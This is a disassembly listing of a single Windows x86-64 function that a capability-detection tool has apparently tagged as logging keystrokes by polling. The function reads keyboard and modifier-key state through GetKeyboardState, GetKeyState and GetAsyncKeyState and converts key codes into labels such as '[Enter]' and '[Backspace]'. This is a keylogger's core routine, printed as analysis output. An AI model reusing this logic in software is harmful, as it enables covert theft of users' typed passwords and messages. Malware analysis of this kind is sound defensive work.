Function at 0x140001e40
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x160
mov rax, qword [0x140022080]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov esi, edx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
shr edi, 0xf
and dil, 1
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebp, ax
and bpl, 1
mov ecx, 0xa5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140001ecb
mov ecx, 0xa2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140001ecb
mov r8b, 1
jmp 0x140001ece
xor r8b, r8b
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x14001ed80]
movdqu xmmword [rsp + 0x40], xmm1
mov byte [rsp + 0x30], r14b
lea eax, [rsi - 0x41]
cmp eax, 0x19
ja 0x140001f5a
test bpl, bpl
je 0x140001f4f
test dil, dil
jne 0x140001f54
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x14001ed90]
movsx eax, sil
movzx eax, al
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
movups xmm2, xmmword [rsp + 0x30]
movups xmmword [rbx], xmm2
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140003d80
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
test dil, dil
jne 0x140001efb
add sil, 0x20
jmp 0x140001efb
cmp esi, 0x30
jb 0x140001f64
cmp esi, 0x39
jbe 0x140001efb
add esi, 0xfffffff8
cmp esi, 0xda
ja case.0x140001f8a.10
lea r9, [0x140000000]
movzx ecx, byte [r9 + rsi + 0x23fc]
mov edx, dword [r9 + rcx*4 + 0x2398]
add rdx, r9
jmp rdx
lea rax, [0x14001ec84]
lea rdx, [0x14001ec88]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
test r8b, r8b
je 0x140001fc7
lea rdx, str.__2________.
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001ec90]
lea rdx, [0x14001ec94]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001ec98]
lea rdx, [0x14001ec9c]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001eca0]
lea rdx, [0x14001eca4]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rcx, [0x14001eca8]
lea rdx, [0x14001ecac]
test dil, dil
cmovne rdx, rcx
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001ecb0]
lea rdx, [0x14001ecb4]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001ec90]
lea rdx, [0x14001ecb8]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001ecbc]
lea rdx, [0x14001ecc0]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rcx, [0x14001ecc4]
lea rdx, [0x14001ecc8]
test dil, dil
cmovne rdx, rcx
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001eccc]
lea rdx, [0x14001ecd0]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001ecd4]
lea rdx, [0x14001ecd8]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Enter_]
movsd qword [rbx], xmm0
movzx eax, byte [0x14001ece8]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xa
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Delete_]
movsd qword [rbx], xmm0
movzx eax, word [0x14001ecf8]
mov word [rbx + 8], ax
mov byte [rbx + 0xa], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xb
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Windows_]
movsd qword [rbx], xmm0
movzx eax, word [0x14001ed08]
mov word [rbx + 8], ax
movzx eax, byte [0x14001ed0a]
mov byte [rbx + 0xa], al
mov byte [rbx + 0xb], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xd
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Backspace_]
movsd qword [rbx], xmm0
mov eax, dword [0x14001ed18]
mov dword [rbx + 8], eax
movzx eax, byte [0x14001ed1c]
mov byte [rbx + 0xc], al
mov byte [rbx + 0xd], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.__Alt_]
mov dword [rbx], eax
movzx eax, word [0x14001ed24]
mov word [rbx + 4], ax
movzx eax, byte [0x14001ed26]
mov byte [rbx + 6], al
mov byte [rbx + 7], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.__Tab_]
mov dword [rbx], eax
movzx eax, word [0x14001ed2c]
mov word [rbx + 4], ax
movzx eax, byte [0x14001ed2e]
mov byte [rbx + 6], al
mov byte [rbx + 7], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Space_]
movsd qword [rbx], xmm0
movzx eax, byte [0x14001ed38]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.__Up_]
mov dword [rbx], eax
movzx eax, word [0x14001ed40]
mov word [rbx + 4], ax
mov byte [rbx + 6], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
movabs rax, 0x205d6e776f445b20
mov qword [rbx], rax
mov byte [rbx + 8], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
movabs rax, 0x205d7466654c5b20
mov qword [rbx], rax
mov byte [rbx + 8], 0
jmp 0x140001f24
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Right_]
movsd qword [rbx], xmm0
movzx eax, byte [0x14001ed50]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
jmp 0x140001f24
lea rax, [0x14001ecac]
lea rdx, [0x14001ecc4]
test r8b, r8b
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24
lea rax, [0x14001ed54]
lea rdx, [0x14001ed56]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.1400012a0
jmp 0x140001f24